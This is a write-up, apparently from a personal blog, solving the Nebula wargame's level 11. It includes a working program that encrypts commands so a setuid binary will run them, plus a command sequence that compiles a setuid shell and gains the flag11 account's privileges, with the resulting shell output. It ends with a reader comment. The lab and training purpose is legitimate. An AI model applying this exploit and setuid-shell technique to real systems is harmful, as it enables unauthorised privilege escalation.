The /home/flag11/flag11 binary processes standard input and executes a shell command.Source code:
The binary reads a 'header' which is simply the length of the command to be executed, then the command, and then executes the command. The problem is that we need to encrypt the command we send. The decryption routine in the 'process' function is a simple stream cipher which uses XOR. The key is derived by the length and the plaintext:
void process(char *buffer, int length) { unsigned int key; int i; key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i]; } setgid(getgid()); setuid(getuid()); system(buffer); }So in order to encrypt the command, we need to know the length and the plaintext, which we both have beforehand.
Another thing to notice is that if we provide a command shorter than 1024 bytes, the fread call fails. This is because it specifies the size of an element as the whole command length, and tries to read 1 element. But then it checks whether fread returned 'length' elements or not. This isn't always possible. The fread call will only ever return 0 or 1. Now in the latter case, you could encrypt a 1-byte command and send it, but there's no NULL terminator after it (or other ways to discard the junk that follows).
The other branch of code reads our encrypted command in 1024 byte chunks. One 1024 byte is enough. Our encryption routine needs to derive the key and XOR it with the command bytes. As seen in the source code, the key is first set to the least significant byte of the command length, then it's subtracted the value of the last command byte encrypted. The command encryption code is as follows:
level11@nebula:~$ cat > pwn.c #include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { int length = 1024; char buffer[1024]; unsigned int key; int i; if(argc != 2) return EXIT_FAILURE; strncpy(buffer, argv[1], 1024); key = length & 0xff; for(i = 0; i < length; i++) { buffer[i] ^= key; key -= buffer[i] ^ key; } puts("Content-Length: 1024"); fwrite(buffer, 1, length, stdout); return EXIT_SUCCESS; } level11@nebula:~$ make pwn cc pwn.c -o pwnUsing it is indeed very easy. Keep in mind that because of the way the second code branch works, we need to specify the TEMP environment variable. This is where the flag11 binary will store the temporary file in which our command will be put.
level11@nebula:~$ export TEMP=/tmp level11@nebula:~$ ./pwn getflag | ~flag11/flag11 blue = 1024, length = 1024, pink = 1024 You have successfully executed getflag on a target accountBut we won't be satisfied without a SUID shell :)
level11@nebula:~$ cat > /tmp/shell.c #include <unistd.h> #include <stdlib.h> int main() { int euid = geteuid(); setresuid(euid, euid, euid); system("sh"); return 0; } level11@nebula:~$ export TEMP=/tmp level11@nebula:~$ ./pwn 'cc -o /tmp/flag11_sh /tmp/shell.c; chmod +s /tmp/flag11_sh' | ~flag11/flag11 blue = 1024, length = 1024, pink = 1024 level11@nebula:~$ /tmp/flag11_sh sh-4.2$ id uid=988(flag11) gid=1012(level11) groups=988(flag11),1012(level11) sh-4.2$ getflag You have successfully executed getflag on a target accountLet's go get some other flags...
~ Dmitry
it didnt work. is there another trick?
ReplyDelete